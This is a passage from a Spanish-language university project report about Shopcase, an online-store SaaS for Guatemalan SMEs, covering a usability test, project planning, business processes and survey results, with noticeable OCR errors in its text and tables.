c. Lugar de prueba. Saldn de trabajo en Carretera al Salvador, Guatemala, Guatemala.
d. Fechas de prueba. Jueves 29 de mayo de 2010

3. Resumen de resultados. Las pruebas realizadas generaron resultados aceptables en
cuanto al médulo administrativo del consumidor. Varios aspectos se asumieron como
obvios para un usuario consumidor, los resultados mostraron lo contario. Aspectos tales como la
ubicacién del logout o el sorter de las tablas de érdenes. Se evidenciaron problemas de cédigo:
e Despliegue de un error de “Orden sin productos” que no aplicaba
e En el control de dérdenes el boton “Regresar” lleva al usuario a la vista principal del

modulo
También se evidenciaron conflictos con relacién al flujo de datos y el disefio del Médulo:

e Al cancelar una orden se muestran todas las érdenes realizadas
e Labusqueda de 6rdenes se ejecutaba de forma incorrecta para palabras incompletas

e No existe el manejo de datos incorrectos y notificaciones si faltan ingresos

Posteriormente se listaron estos problemas con sus respectivas recomendaciones para

solucionarlos en una version posterior.
4. Desarrollo del plan de la prueba

a. Propdsito de la prueba. La prueba realizada a los participantes tiene como propdsito
final la recopilacidon de informacidn, sugerencias, recomendaciones y experiencias

de los usuarios en el momento de interactuar con la aplicacion.

A este tipo de pruebas se les conoce como evaluaciones acumulativas (“Summative
Evaluation”) en donde se analiza la calidad general de una interfaz final para poder realizar

mejoras, comparar disefios alternativos, probar requerimientos establecidos, obtener
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informacién bottom-line para cronometrar tiempos que el usuario tardd, errores obtenidos,

éxito con la aplicacidn, etc.

b. Perfil de usuario

Tabla 33. Perfil de usuario de pruebas.

Usuario del Sistema

Caracteristica

Rango (aprox.)

Edad

15-50 anos

Sexo

M/F

Nivel Académico

Irrelevante (la experiencia con las
computadoras y con el Internet
son las que tienen relevancia

para el uso de la aplicacién)

Experiencia General

Computadoras

con

Experiencia bdasica utilizando una
computadora. (Encendido,

ingresar a browser, etc.)

Experiencia con el SO

Experiencia basica de utilizacion

de cualquier sistema operativo.




Continuacion Tabla 33. Perfil de usuario de pruebas.

Caracteristica

Experiencia GUI de la aplicacion

Rango (aprox.)

Es necesario que el usuario
nunca haya interactuado con el

sistema con anterioridad.

Uso de Internet

Experiencia basica de utilizacidn
de alguin browser.
Conocimientos  basicos para
realizar compras y registros en

linea.
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Ninguno de los entrevistados tuvo una experiencia previa con la aplicacion por lo que la

prueba capturada en video busca obtener primeras experiencias con el médulo administrativo

ya que fue disefiado para no tener que pasar por ninguna capacitacion o tutorial previo.

c. Método (disefio de prueba). La prueba sera realizada en un ambiente de prueba

controlado que cuenta con todos los aspectos necesarios para realizar dicha prueba

de forma debida (estos aspectos seran discutidos posteriormente).

El método de prueba utilizado serd el de Pensando en Alto (“Thinking Aloud”), en el cual se

le pedird a los entrevistados que verbalicen sus pensamientos mientras interactian con la

aplicacion para asi poder obtener informacién necesaria para realizar mejoras o cambios. Para

este método no son necesarios muchos participantes y se les pedira que contesten lo siguiente:

e Qué tratan de hacer

e (Cosas que leen

e Preguntas que pasan por sus cabezas
e Cosas que encuentran confusas

e Decisiones a tomar
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d. Lista de tareas. Estas tareas fueron realizadas por un usuario con rol de consumidor

de alguna empresa cliente de Shopcase.

Tabla 34. Lista de tareas.

Ingresar al Mdodulo de
Administracion

Modificacidn de algin campo
dentro de sus Datos Personales

Busqueda de érdenes en estado
‘DONE’

Agregar una nueva tarjeta de
crédito a su cuenta

Agregar nueva direccién a su
agenda de direcciones

Cancelar una orden ya realizada

Salir del Modulo de
Administracion

PreReq: Estar autenticado como consumidor de
Shopcase

Completed: Se muestra la vista principal del
Mdédulo Administrativo

MaxTime: 20 segundos

PreReq: Estar dentro de la seccién de Datos
Personales

Completed: Se muestran los datos personales ya
actualizados y una notificacion

MaxTime: 1 minuto

PreReq: Estar dentro de la seccién de Control de
Ordenes

Completed: Se muestran solamente las 6rdenes
con estado ‘DONE’

MaxTime: 35 segundos

PreReq: Estar dentro de la seccién de Datos de
Pago.

Completed: Se muestra mensaje satisfactorio y se
agrega a la lista de tarjetas

MaxTime: 3 minutos 30 segundos

PreReq: Estar dentro de la seccién de Agenda de
Direcciones

Completed: Se muestra mensaje satisfactorio y se
agrega a la lista de direcciones

MaxTime: 1 minuto

PreReq: Estar dentro de la vista detallada de
alguna orden

Completed: Cambio del estado a ‘CANCELLED’
MaxTime: 2 minutos 15 segundos

PreReq: Estar dentro del Mddulo de
Administracion

Completed: Se muestra la vista de la empresa de
Shopcase (fuera del médulo evaluado)
MaxTime: 20 segundos
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5. Ambiente de prueba. La prueba fue realizada en un ambiente controlado en donde se
tendrd una videocdmara capturando las sesiones de los usuarios participantes dentro de

un cuarto sin distracciones.

Se contard con el participante que interactua directamente con la aplicacion.

Un facilitador de la prueba o administrador (que también tomara nota de la informacion

obtenida).

Un observador de la sesion.

llustracion 161. Ambiente de prueba.

Tesk pa— 1
Facilitator

6. Script de orientacion. El script de orientacidon es bdsicamente una introduccién que

orienta al usuario participante para saber qué es lo que debe hacer y qué es lo que no

debe hacer durante la sesién. El script utilizado en las entrevistas del grupo intenté seguir el
siguiente parrafo:

“Saludos, mi nombre es Juan Jorge y estaré trabajando con usted en la sesion de hoy.

Estamos aqui para probar nuestro sistema de Shopcase, generador de portales de venta en linea y necesitamos su

ayuda.

Pediré que realice unas tareas simples con el sistema. Trate de hacerlo de forma correcta pero no se preocupe por los

resultados ya que el objetivo no es evaluarlo a usted sino al sistema.
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Ya que el sistema es un prototipo contamos con un panel de 4 opciones principales para guiarlo durante la prueba,

puede que existan errores y bugs.

Le pediré que exprese lo que piensa y lo que busca realizar para que la prueba sea efectiva.
Puede hacer preguntas en cualquier momento pero solo las podré contestar al final de la sesién.
Si se siente incémodo en algiin momento, puede detenerse.

¢Tiene alguna pregunta? En caso contrario, y luego de haber llenado el cuestionario general y el contrato de

aprobacion. Proseguimos con la prueba”

7. Resultados

a. Esquema de codificacién de eventos

Tabla 35. Esquema de codificacion de eventos

Cddigo Evento

E Empieza tarea

T Termina tarea

A Ayuda del facilitador de la prueba
™ Tiempo maximo

X Accidn Incorrecta

! Probd la actividad con anterioridad

N No realizo actividad

+ Actividad extra (no contemplada)

Er Error de aplicacion
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b. Listas de tareas por Usuario.

Tabla 36. Lista de tareas de la prueba

| Prueba: Funcionamiento del Médulo Administrador Usuario No. 1
Fecha: Jueves 29 de mayo Hora: 1:45 PM
Tarea Tiempo transcurrido Observaciones
1 0:00 A - El facilitador autentica a un usuario de prueba para

poder realizar las tareas
0:09 T
2 0:13 E
0:29 T
3 0:32 E
0:52 T
4 1:30 E
2:05 X Agregd una tarjeta sin haber ingresado todos sus
datos
Er El sistema no notifica los datos que faltan y
simplemente no agrega la tarjeta
3:50 T
5 3:30 E
X El usuario realizd esta tarea en al mismo tiempo que
la anterior
3:45 T
6 4:02 E
4:23 Er La aplicacion muestra un mensaje de error “Orden
sin productos” y las érdenes si tienen productos
4:35 A El facilitador de la prueba afirma que la orden ya fue
cancelada
4:39 T
7 4:50 T

Pros
e El usuario muestra un rdpido entendimiento del moddulo y tiene muy pocas
complicaciones para realizar modificaciones y controlar la informacién.
e El usuario se muestra satisfecho al momento de revisar que las direcciones fueron

manejadas de forma correcta

Contras
e El mddulo muestra un error que no deberia mostrar. “Orden sin productos” cuando la

orden si tenia productos.
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e En el control de drdenes, después de realizar una busqueda y presionar regresar, el

maodulo regresa a la pantalla principal.

e Al cancelar una orden fue complicado que el usuario entendiera que estaba cancelada
debido a que se muestran todas las érdenes realizadas.

o No habia manejo de datos incorrectos ni notificaciones si faltaban ingresos.

e la busqueda de drdenes no funciona con palabras incompletas

c. Screenshot de la prueba en curso. La prueba fue grabada utilizando el programa

ScreenFlow, el cual permite capturar las acciones del usuario sobre el sistema vy

también sus expresiones faciales.

llustracién 162. Prueba en curso.

home productos rrforrmackin logmn shoppng cant reqgistrar g contiitencs s

CATEGORES Administrador
Dwton Personales
Cartonl ge Orderws 3
Dotes s Pogo s eladavbOgmaicom 12

Agenta de (bewarrores [Esude =) - owa)

NO.DE ORDEN FECMA  €STADG  TOTAL TIPO DE PACO  TIPO OL ENVIO  ACCIONES
oone 3000 focts (Ver Dutabe )
CANCELED  3%0 Tacwta deCredte  Fodts

oone 250 Tecets doCredts  fects

INPROGRESS 35300 Tarwta de Credte Fedts

tone %0 TagtadeCredts  Tedtn

oone [ Tajeta de et Fodfn

Tacwta de Crecite
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d. Resultados sobre los tiempos

Tabla 37. Resultados de la prueba

Tabla general

Tarea Tiempo promedio Tiempo limite Tiempo maximo Tiempo minimo
1 0:09 0:20 0:09 0:09
2 0:16 1:00 0:16 0:16
3 0:30 0:35 0:30 0:30
4 2:20 3:30 2:20 2:20
5 0:15 1:00 0:15 0:15
6 0:37 2:15 0:37 0:37
7 0:05 0:20 0:05 0:05

El tiempo de la prueba fue de 5 minutos aproximadamente. El tiempo maximo (acumulado
de los tiempos méximos) es de 9 minutos debido a que requiere que el usuario expusiera sus
pensamientos sin presion del tiempo establecido. El usuario mostrd tiempos dentro del rango

aceptable. A continuacion se muestra una grafica de los tiempos obtenidos por cada tarea:



260

e. Grafica de tiempos obtenidos

llustracién 163. Grafica de tiempos obtenidos.

3:30

21

2:52

S H Tiempo promedio

1:55 B Tiempo limite
Tiempo maximo

L8 H Tiempo minimo

0:57 i

0:28

0:00 -

1 2 3 4 5 6 7

Con la grafica se evidencia el buen desempefio de la interaccion del usuario con el mddulo.
También se puede evidenciar que los tiempos establecidos debieron haber sido mas cortos. La
Unica actividad que estuvo cerca de alcanzar el limite de tiempo fue la actividad 3 (Busqueda de
ordenes confirmadas) debido a que el usuario intentd realizar la busqueda usando una palabra

incompleta.

f. Lista de problemas

e Problema: Se mostré un error de “Orden sin productos”
Recomendacién: Modificar el cédigo de forma que obtenga los datos de los productos de forma

correcta.

e Problema: En el control de drdenes el “Regresar” lleva al usuario a la vista principal del
moddulo

Recomendacién: Arreglar redireccionamiento.

e Problema: Al cancelar orden se muestran todas las 6rdenes realizadas

Recomendacion: Mostrar solamente la vista detallada de |la orden cancelada

e Problema: No habia manejo de datos incorrectos y notificaciones si faltaban ingresos
Recomendacién: Implementar notificaciones y herramientas de jQuery utilizadas en otras partes

del sistema, que realizan estas funciones
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e Problema: La busqueda de érdenes no funciona con palabras incompletas
Recomendacion: Modificar las consultas para buscar palabras que contengan la palabra objetivo

(aunque esté incompleta).

NOTA: Las soluciones recomendadas fueron realizadas para la entrega de este documento.

Se listan por motivos de constancia de los problemas encontrados.



XIV. PLANIFICACION DEL PROYECTO

Un proyecto es un conjunto de actividades interrelacionadas, con un inicio y un fin definido,
se utilizan recursos limitados para lograr objetivos especificos. Un proyecto es unico y tiene
lugar durante un tiempo limitado, este surge como respuesta a una necesidad. El proyecto
finaliza cuando se obtiene el resultado deseado, desaparece la necesidad o se agotan los

recursos disponibles.

Se utilizé el método de gestion de proyectos para dar seguimiento a las actividades y tener
claros los objetivos de los integrantes del equipo. El método de gestidn de proyectos consiste en
organizar y administrar los recursos de modo que se concluya el trabajo de manera exitosa
dentro del alcance, tiempo y costos. Para satisfacer los requisitos del proyecto se aplicaron

conocimientos y habilidades, en cada una de las actividades.

Los objetivos y fechas de entrega fueron creados en acuerdo comun realizando revisiones

semanales del progreso y presentando los alcances semestralmente.
El proyecto se desarrollé con base a cuatro etapas:

1. Primero se desarrollé la idea, la cual consistié en establecer la oportunidad de crear un
sistema innovador el cual le permite a las PYMES una nueva alternativa basada en un
servicio integral para gestionar sus ventas en linea. Sobre esta idea se trabajo el disefio
del proyecto. Esta surgié basicamente por dos razones:

e Actualmente el SaaS esta teniendo gran éxito en otros paises desarrollados, por lo
gue se tiene la vision de que pueda ser implementado en Guatemala.

e Existen recursos desaprovechados y deben optimizarse. La mayoria de las empresas
utilizan internet dnicamente como instrumento de comunicacién y herramienta de
busqueda de informacién, y existe la oportunidad de utilizarlo para gestién de
negocios.

2. Se elaboré el disefio, partiendo de una lluvia de ideas, se establecieron los alcances, y se
definieron tacticas y estrategias a utilizar alineadas con el objetivo a lograr. Luego se
reviso el perfil del proyecto y se realizaron estudios de factibilidad para su aprobacién.

Una vez aprobado, se realizé la planificacidon operativa, que consistié en prever recursos
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3. yeltiempo necesarios para alcanzar los fines del proyecto.

4. En el segundo semestre se inicié con la ejecucién, poniendo en practica lo que se
planificd anteriormente.

5. Por ultimo en la etapa final del proyecto se realizdé una evaluacién donde se valoraron

los resultados sobre los objetivos planteados y lo ejecutado sobre lo planeado

El resultado del proyecto se puede ver afectado por factores politicos y sociales, el entorno
microecondmico y macroeconémico de Guatemala o alguna otra normatividad que esté fuera
del control de los participantes del proyecto; también se ve afectado por la capacidad del
sistema, la cual depende de la inversion realizada. El proyecto actual supone una inversion
suficiente para soportar hasta 400 clientes en la plataforma, cantidad que delimita el tamafio de
la demanda actual que puede ser atendida. Durante la planeaciéon del proyecto, se consideraron
los factores mencionados por lo que se disefiaron escenarios para medir las probabilidades de

éxito del proyecto.

A continuacion, se presenta una muestra de cémo se realizé el manejo de las actividades

[lustracion 164. Planificacion de las cctividades del proyecto.

] o Task Name | Duration Start ‘ Finish |F'nedecassms |ReswceNama

1

2 Especificacion funcional 31 days? Fri 6/26/09 Fri 8/7/09 corzo y gustavo

El | carrito Gdays  Fr7i009  Fr7/3108

4[4 administracicn days  Fr7/10/08  Fni7/3108

5[4 generador 5days  Mon B39 Friamioad

[] grupo de cliente 11 days Fri 7/24/09 Fri 8/7/08|

7 definicion pagos 21 days Fri 7110/09 Fri 87109 erick

& [3 Credomatic Gdays  F7A008  Fi7ATI08

5 4 Visanet y otros pagos USA, banco bi, iguama 11 days. Fri 7/24/09 Fri 87108

0 Alcance megaproyecto Gdays  Fri7i2408  Fri7/31/09) jose pasz

1 Definicion de procesa de negocio 11 days? Fri 7/24/09 Fri 8/7/08| Julio David y Vinicio
EE = | Investigacion SAAS 17 days Fri 6/26/08 FriB/7/08| Luis Guzman

13
[ Proceso de Negocio days?  Fri7i24008  Thu 8/20/09) Julio
T8 B Definicicn de procesa de negocio 10 days? Fri 7/24/09 Fri &/7/08|

16 [E3 Contrato General de Suscripcion 10 days? FrB/708  Thu B/20/08|

7 [% Presupuesto 10 days? FriBmi08  Thu 82009

18 |-n Proceso Cliente 10 days? FriB708  Thu B20/09

9
[ 20 Investigacion 13days? ThuB3008  Tue 809
] Service Oriented Architecture 13days?  ThuBi1309  TueS/1/0g Vinicio,Gustavo

22 [4 Hostings Bdays? ThuB/13/09  Tue®8/25/09 erick

23

24 Prototipos days?  Fri7i24/09  Tue 915109

% [ Prototipo Modulo Administrador 37days?  Fri7/24008  Tue 81508 Cozo

2[4 Buscar/Desarroller nuevos templates 10days? TueB2508  Tue9/BI9 Luis Corzo

27

28 Creacion Arquitectura Teorica Multitenant 12 days? Mon 8/7/09 Tue 922/09)

2[4 Presentacion Propuestas Arquitectura 11days?  Mon8/7/08  Mon 8/2108 Todos

O | SE8I0N braNSIGMMING Creacibn esquemMa enbaad-reacdn T0ay?  IUBBZZUY  lueHZZIU8[2Y 1 o008

31
| a2 [4 Informacion definitiva hostings dedicades Sdays?  Tue®B22/08  Tue9/29/08) erick
= | Creacicn Flujo de Caja ! Finalizar Presupuesto Protctipa / Empresa. Sdays? Tue®29/08  Tue 10/6/0832 Julio
[ 3@ [Ed  |Definicion de Planes de Senvicio Sdays?  TueD2908  Tue 10/6/08 Vinicio, Gustavo

35

36 Feria de Megaproyectos 1 days?  Tue 10/6/09 Wed 10721109,

L | Creacicn de Logo y Manta 9days?  Tue10B/08  Fri 10/16/08 Luis
R Creacion Presentaciones Megaproyecto y SAAS 9days?  Tue 10609 Fri 101609 Luis
=] Templates Administracién Gdays?  Tue10B/08  Fri 101608 erick Corzo

= | Templates Front-End Gdays?  Tum1DBNS  Fri 10AADS) Vinicin, Gustavo
i Presentacion en Feria 2days? Mon 10/19/08 Wed 10/21/08/37,38,38 40 Todos

42

a Elaboracion de Informe Final 20 days  Tue 10127/09  Tue 11/24/08
| 44 [ Reporte Modulo Asignado de Megapropecto 0days Tue 102708 Tue 11/10/08 Todos
| a5 [ Reporte de Actividades Durante of Semesire: 0days Tue 102709 Tue 1111009 Todos
a5 [4 Comparacicn Shopcase vs Carrito Propio 10days  Tue 102708 Mon 11/9109 Julio

a7 3 Revision Trabajo Final Sdays  Tue11/10/08 Tue11/17/0844 4546 Jenniffer

s [4 Unificacidn, Ultimas Modificaciones y Entrega Final Sdays Tue 1117009 Tue 1112410947 Todos




XV. DISENO DE PROCESOS

Un proceso es un conjunto de actividades secuenciales que se realizan con un fin
determinado. El disefio de procesos es fundamental para el desarrollo de un servicio, el proceso
constituye la esencia del servicio pues cada paso o actividad que se realiza pretende agregar

valor para el cliente.

Por la naturaleza del modelo, existen basicamente dos procesos en los que se involucra el
cliente. El primero es la relacién que existe del consumidor con el cliente (PYME) y el segundo es
la relacién que existe del cliente (PYME) con la empresa ShopCase. Ademas se detalla una
descripcién de la interaccién del cliente (PYME) con el sistema en donde puede administrar su

portal.
A continuacion se muestran los procesos sugeridos de las siguientes interacciones:

e Consumidor — Cliente (PYME)
e Cliente (PYME) — Shopcase

e Cliente (PYME) — Administracidon del portal
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[lustracion 165. Interaccion consumidor — cliente (PYME).
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A. Proceso consumidor — cliente (PYME)

El consumidor tiene una relacion directa con el cliente, y no cuenta con comunicacion hacia

ShopCase.

Por medio de un navegador web sin importar el sistema operativo el consumidor ingresa al
portal del cliente (PYME) en donde puede ver los productos o servicios que ofrece en su

catadlogo y la posibilidad de agregarlos a su carrito de compras. Para facilidad del consumidor los
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productos estan clasificados en categorias y cuentan con nombre, descripcion, precio e imagen.
También se le ofrece al consumidor promociones y productos relacionados que puedan ser de

su interés.

Cuando el cliente ha terminado de agregar productos a su carrito de compras, puede ver
todos sus productos agregados al carrito y el subtotal, el consumidor puede modificar o eliminar
los productos y conocer el nuevo subtotal. Cuando el consumidor estd conforme con lo que
tiene en su carrito puede confirmar su carrito final; el sistema le pedira que se identifique “Log
in”, en caso que el consumidor no sea un comprador habitual le pedird que se registre
solicitdindole nombre, correo electrdnico, contrasefia, direccién de entrega predeterminada y
forma de pago predeterminada. Luego el consumidor puede elegir su forma de pago y direccidn
de entrega la cual puede utilizar la predeterminada o agregar una nueva direccion. Seguido a
esto se muestra el detalle de la orden y monto final de la compra (productos, forma de pago,
direccidn de entrega). El consumidor confirma la informacién y acepta el procesamiento del
pago, luego recibe un correo confirmandole los detalles de su compra y la empresa cliente
(PYME) recibe una notificacién en donde le pide procesar la orden y enviarle el producto a

través de sus propios medios o una empresa de paqueteria. Por Ultimo el consumidor recibe en

su direccion el paquete con la factura comercial emitida por la empresa cliente (PYME).

[lustracion 166. Interaccion cliente (PYME) - Shopcase
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B. Proceso cliente (PYME) - Shopcase

El cliente (PYME) estd interesado en los servicios de Shopcase y para adquirir los servicios
debe ingresar a la pagina web de Shopcase por medio de un navegador sin importar el sistema
operativo. Es imprescindible que el cliente cuente con acceso a internet ya que todo el servicio
gira alrededor de la web. En el sitio de Shopcase se ofrecen demostraciones de cémo funciona el
sistema y los requisitos para la contratacién del servicio. Si el cliente no se queda satisfecho con
la informacién y desea una atencion mds personalizada puede comunicarse por medio
telefonico donde gustosamente le atenderan y le indicardn si el servicio es adecuado para sus

necesidades. El cliente inicia el formulario de registro con la informacién general de la empresa
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y de la persona responsable incluyendo Nombre, NIT, correo electrénico, teléfono, direccién.
Luego el cliente ingresa la informacion de las formas de pago que aceptara en su portal (tarjeta

de crédito, Bl en linea, Google Checkout, depdsito monetario, Paynexus).

Después de estos pasos, al cliente se le ofrece servicio de paqueteria por medio de dos
proveedores, Cargo Expreso o Guatex, en donde el cliente tiene oportunidad de inscribir a su
empresa con tarifas especiales conseguidas por negociaciones de Shopcase. Si el cliente tiene su
propio medio o no esta interesado en este servicio adicional lo rechaza y continda con el
registro. Se pide informacién del administrador, quien va a ser la cuenta predeterminada para
poder iniciar sesion en el “Log in” y comenzar a agregar productos. Esta cuenta no es
necesariamente el mismo responsable de la empresa y ademds se pueden crear mas cuentas de
administrador una vez el portal ya se encuentre generado. Luego se le presentan los términos
del servicio y se acepta el contrato de suscripcidn el cual se puede ver en el anexo 1, Contrato

General de Suscripcion.

Para generar el portar es necesario que el cliente pague el primer mes de servicio e
inmediatamente se genera el portal listo para configurarlo o comenzar a crear categorias y

agregar productos.

llustracién 167. Interaccion Cliente (PYME) — Administracion del Portal
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C. Proceso cliente (PYME) — Administracién del portal

El cliente (PYME) ya se encuentra con su portal creado y puede iniciar el proceso de
personalizacién, el cual tiene cinco diferentes médulos, dos de configuracién y 3 de

administracion.

La opcién de configurar catalogo, es la esencia del portal y es donde el cliente puede
administrar sus productos, buscar un producto especifico en base a un pardmetro ya sea cddigo,
nombre, descripcidon o precio o también mostrar todos los productos. El cliente también podra
agregar producto, modificarlos los siguientes atributos: Nombre, descripcién, imagen, precio y
cantidad disponible. De la misma forma podra agregar categorias y modificarlas, también cuenta

con la opcién de eliminar categorias y productos.
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El cliente podra configurar a sus clientes (consumidores) en donde puede buscarlos en base
a un parametro ya sea Nombre, Apellido, Usuario, Correo electrénico o Numero de orden. El

administrador tiene control sobre sus clientes (consumidores) y puede modificar su informacion.

Otro beneficio que tiene el cliente, es poder rastrear su rendimiento de manera que puede
descargar reportes de productos mds vistos y mas comprados, al igual que de categorias. Esto
permite al cliente (PYME) tomar decisiones mas acertadas y evaluar sus estrategias de venta en
linea. Este puede ser descargado en archivos de MS Excel (xIs) o en formato de documento

portatil (PDF).

El cliente (PYME) también contara con ciertas herramientas que le dan un valor agregado a
su servicio. La primera opcién es agregar anuncio, en el portal existirdn espacios para publicar
anuncios y promociones en formato de imagen, estos anuncios se pueden deshabilitar en

cualquier momento.

Por ultimo, el cliente podrd administrar las érdenes por medio de las opciones procesar
orden, en donde ya se ha recibido el pago y se da la instruccién de que se envie el producto al
cliente. También tiene la opcién de anular la orden si determina que la informacién es invalida.
Para facilitar esto el cliente podra buscar érdenes por diferentes parametros, numero de orden,

cliente, correo del cliente, producto, total de la orden, direccidn, tipo de pago o tipo de envio.

El alcance del megaproyecto gira alrededor de estos 5 mddulos, se recomienda realizar
posibles mejoras en el sistema que satisfagan a los clientes. Para obtener un sistema ideal se
sugiere opcion de configuracidn del sitio en donde el cliente pueda elegir la apariencia del sitio,
y el lenguaje. También un médulo de pagos y envios donde el cliente pueda habilitarlos o
deshabilitarlos. Un mddulo de reportes mds completo en donde se pueda dar seguimiento a los
clientes y las ventas. Otra mejora que se sugiere es la carga masiva de productos y categorias,
esto se podria realizar a través de un archivo de Excel. Por ultimo para mantener una
comunicaciéon entre los clientes (PYMES) y consumidores, el cliente (PYME) podria enviar un

correo electrénico a todos los consumidores registrados en su pagina.



XVI. TRABAJO DE CAMPO

A. Investigacion descriptiva

1. Clasificacién de las PYMES. Segun la Cdmara de Industria de Guatemala las PYMES se
clasifican en Micro, Pequeiia y Mediana debido a tres factores principales: Niumero de
empleados, volumen de ventas, activos totales.

Tabla 38. Clasificacion de las PYMES

Numero
Tamafio ?ir:cl:ljllilae(::jz al ;/;Lumen de ventas al Activos totales
propietario)
Micro 01-10 Q0 - Q60,000 Q0 - Q50,000
Pequefia 11-20 Q60,001 - Q300,000 Q50,001 - Q500,000
Mediana 21-50 Q300,001 - Q3,000,000 | Q500,001 - Q2,000,000

Segln una encuesta realizada en el afio 2006 por el Programa Nacional de Competitividad
(Pronacom) el 75% de las PYMES tiene un volumen de ventas anual entre Q0 y Q60,000 por lo
gue segun la Camara de Industria de Guatemala se clasificarian como microempresas; 21% de
las PYMES tienen un volumen de ventas anual entre Q60,001 y Q300,000 y se consideran
pequefias empresas y el restante 4% de las PYMES son consideradas medianas al tener un

volumen de ventas anual entre Q300,001 y Q3,000,000.
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Tabla 39. Porcentaje de clasificacidon de las PYMES

Tamaiio Volumen de ventas al afio %
Micro Q0 - Q60,000 75%

Pequeia Q60,001 - Q300,000 21%

Mediana Q300,001 - Q3,000,000 4%

Esta encuesta también nos muestra que Unicamente el 1% de las PYMES destina parte de
su produccion para la exportacidn. Debido a esto se decidié que en un principio no se prestara el
servicio para la venta en otros paises, ya que el mercado de exportaciéon es muy pequeiio para la

complejidad que requiere.

2. Definicién de la poblacién objetivo para el estudio. Segun un informe del afio 2010 del
Banco Mundial para el Ministerio de Finanzas en Guatemala existen alrededor de
1,200,000 PYMES™. Seglin una encuesta realizada en el afio 2006 por el Programa Nacional de
Competitividad (Pronacom) el 15% de las PYMES cuenta con acceso a internet™. Debido a que el
acceso a internet es imprescindible para que pueda ser prestado el servicio de Shopcase, este
estudio se limité a empresas que contaran con la tecnologia. En base al 15% de PYMES en el
2006 y estimando Unicamente un crecimiento de 10% anual (seglin internetworldstats.com el
crecimiento de usuarios en Guatemala durante los Ultimos 5 afios es de 30% anual), se calcula
qgue para el presente afio el 22% de las PYMES cuentan con acceso a internet. Con esto se

establecié que la poblacion objetivo es de 264,000 PYMES.

3. Tipo de investigacién. Se decidié utilizar una encuesta como herramienta de
investigacion descriptiva para recopilar informacidon primaria. También se utilizé para
conocer las actitudes y preferencias de los potenciales clientes, interés en el servicio y
valoracion en dinero. La encuesta consisti6 en diez preguntas (Ver Anexo 2, Formato de

Encuesta)
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4. Determinacién de la muestra. Para determinar el tamano de la muestra, se utilizé6 un
muestreo al azar simple en donde todas las unidades cuentan con la misma probabilidad

de ser seleccionadas.

L @®0@M
WMD) + @ + @)

Z=1.65 Nivel de confianza 90%

p=0.5 Probabilidad de que se realice el evento
g=0.5 Probabilidad de que no se realice el evento
N = 1,200,000 Tamaio de la poblacidn

e=0.1 Error de estimacion

3 (1.65%)(0.5)(0.5)(264,000)
" = 264,000)(0.1)% + (1.652 + (0.5)(0.5))

n=68 Tamafio de la muestra

Considerando el tiempo y recursos financieros disponibles se utilizd un nivel de confianza

de 90% y un error de estimacion de 10%.

Debido a que no se posee un listado, ni existe conocimiento de todas las PYMES en
Guatemala no todas las empresas tienen la misma probabilidad de ser seleccionadas por lo que
la muestra no se considera estadisticamente representativa, pero si se considera efectiva para

este estudio.

La seleccidon de los elementos de la muestra se realizé por conveniencia del investigador,
esta dependid que el contacto de la empresa encuestada tuviera acceso a correo electrénico e
internet, ya que la recopilacion de la informacién se realizé por medio electrénico utilizando la

herramienta surveymonkey.com (http://www.surveymonkey.com/s/DK59NPS).
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B. Resultados de la investigacion descriptiva

De las 68 encuestas realizadas, se procedié a cuantificar y graficar los resultados, con el fin

de interpretarlos.

Pregunta 1: ¢{Qué tipo de producto o servicio comercializa?

Tabla 40. Resultados de la Pregunta 1

Producto o servicio que comercializa No. %
Computadoras, celulares y electrénicos 13 | 19%
Libros y revistas 5 7%
CDs, videos, musica, software o juegos 10 | 15%
Ropa, accesorios, joyas y relojes 11 | 16%
Hotel, carros o viajes 2 3%
Cosmeéticos, productos de salud y belleza 4 6%
Tickets para eventos o servicios 0 0%
Flores, arreglos o plantas. 3 4%
Servicios financieros e inversion 0 0%
Servicios de internet, hosting, dominios 2 3%
Servicios de mercadeo y publicidad 1 1%
Juguetes y Hobbies 3 4%
Artesanias, pinturas y fotografias 3 1%
Comidas y bebidas 8 12%
Articulos deportivos 1 1%
Articulos del hogar u oficina, limpieza, pintura, construccién y jardin | 2 3%
Otros 0 0%
Total 68 | 100%
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[lustracion 168. Resultados de la pregunta 1.

Articulasdepartivas Articulasdel hagar u oficina,
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4%
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Servicios de internet, hosting,
daminias

%

Se puede observar que hay una gran variedad de productos que las PYMES comercializan,
esto permite conocer si los productos que se ofrecen son aptos para venderse a través de
internet, ya que el consumidor no podrd “tocar y sentir” el producto, sino que en el momento

de la compra se basara en descripciones, comentarios y fotografias.

Se puede notar que el 69% de las PYMES encuestadas comercializan productos como:
computadoras, electrénicos, celulares, ropa accesorios, joyas, relojes, cd’s, musica, software,
juegos, comidas, bebidas, libros y revistas. Esta es una gran ventaja ya que en su mayoria son
productos estandarizados y por ende los consumidores estan dispuestos a adquirirlos por medio

de internet.
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= Pregunta 2: {Con cuantos empleados cuenta su empresa?

Tabla 41. Resultados de la Pregunta 2.

No. de
empleados
con los que No. %
cuenta la
empresa
1-10 41 60%
11-20 24 35%
21-50 3 5%
Mas de 50 0 0%
Total 68 100%

[lustracion 169. Resultados de la pregunta 2.

Mas de 50
0%

Debido a que las empresas consideran sus niveles de ventas como informacion confidencial
y no estan dispuestas a compartirlas, esta pregunta se utilizd para clasificar el tamafo de la
empresa. De estos resultados se observa que el 60% de las PYMES encuestadas cuenta con un
maximo de 10 empleados, lo cual seglin la cdmara de la industria corresponde a microempresas.

El 35% corresponde a pequeias empresas y Unicamente el 5% son medianas empresas.
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= Pregunta 3: {Qué uso le dan al internet en su empresa?

Tabla 42. Resultados de la Pregunta 3.

Uso que las empresas le dan al internet

Como instrumento de comunicacion (Correo electrénico, chat, redes sociales o
pagina web propia) 8 | 00%

Como herramienta de busqueda de informacién (Base informativa y
documental) 6 8%

Como canal de gestion (Banca en linea, pago de nédminas y transferencias) 39
(o]

Como canal de negocio (Vender por medio de una pagina web propia o
externa) %

Otros: Blog, Foros %
(]

[lustracion 170. Resultados de la Pregunta 3.

120%

100%
80%
60%
40%
o | 1 ] —

T T 1

Como instrumento Como herramienta  Como canal de Como canalde  Otros: Blog, Foros
de comunicacion de blisquedade gestion (Bancaen negocio (Vender
(Correo informacién (Base linea, pago de por medio de una
electrénico, chat, informativa y néminasy pagina web propia
redessocialeso documental) transferencias) o externa)
pagina web propia)

Al realizar esta encuesta se escogieron Unicamente a las empresas que cuentan con acceso
a internet, debido a que son considerados clientes potenciales ya que para poder utilizar el

servicio de Shopcase es imprescindible contar con acceso a internet. El resultado es que 100%

O
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de las empresas encuestadas utilizan internet como instrumento de comunicacidn, el 38% para
busqueda de informacidn e investigacion, el 13% lo utiliza para pagos y Unicamente el 9% lo
utiliza como canal de negocio directo. Esto es una gran oportunidad para Shopcase, ya que
